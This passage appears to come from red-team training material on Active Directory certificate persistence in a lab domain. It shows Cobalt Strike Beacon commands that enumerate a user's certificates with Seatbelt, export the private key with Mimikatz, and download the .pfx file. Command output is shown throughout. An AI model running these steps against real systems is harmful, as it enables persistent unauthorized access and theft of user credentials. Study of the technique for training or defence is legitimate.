Certificates can also be useful for maintaining persistent access to both users and computers, because they tend to have a longer shelf-life compared to passwords. For example, User certificates are valid for an entire year by default, regardless of password changes.
CA Name : dc-2.dev.cyberbotic.io\sub-ca
Template Name : User
Schema Version : 1
Validity Period : 1 year
\
Certificates only become invalid if they're revoked by the CA (or expire). This also does not rely on any vulnerable templates. We can extract certificates that have already been issued, or just request new ones.
\
User Persistence
User certificates that have already been issued can be found in the user's Personal Certificate store.
\
\
If we have a Beacon running on their machine, we can enumerate their certificates with Seatbelt.
beacon> getuid
[*] You are DEV\nlamb
beacon> run hostname
wkstn-1
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates
StoreLocation : CurrentUser
Issuer : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Subject : E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io
ValidDate : 9/7/2022 11:44:35 AM
ExpiryDate : 9/7/2023 11:44:35 AM
HasPrivateKey : True
KeyExportable : True
Thumbprint : 43FA3C3AE4E1212A3F888937745C2E2F55BAC1B5
Template : User
EnhancedKeyUsages :
Encrypting File System
Secure Email
Client Authentication [!] Certificate is used for client authentication!
Always ensure the certificate is used for client authentication.
\
Certificates can be exported with Mimikatz using crypto::certificates (although it drops them to disk).
beacon> mimikatz crypto::certificates /export
Public export : OK - 'CURRENT_USER_My_0_Nina Lamb.der'
Private export : OK - 'CURRENT_USER_My_0_Nina Lamb.pfx'
beacon> download CURRENT_USER_My_0_Nina Lamb.pfx
[*] started download of C:\Users\nlamb\CURRENT_USER_My_0_Nina Lamb.pfx (3454 bytes)
[*] download of CURRENT_USER_My_0_Nina Lamb.pfx is complete
Go to View > Downloads to sync files from Cobalt Strike to your local machine.
If requesting a machine certificate with Certify, the /machine parameter is required to auto-elevate to SYSTEM and assume the identity of the computer account.
\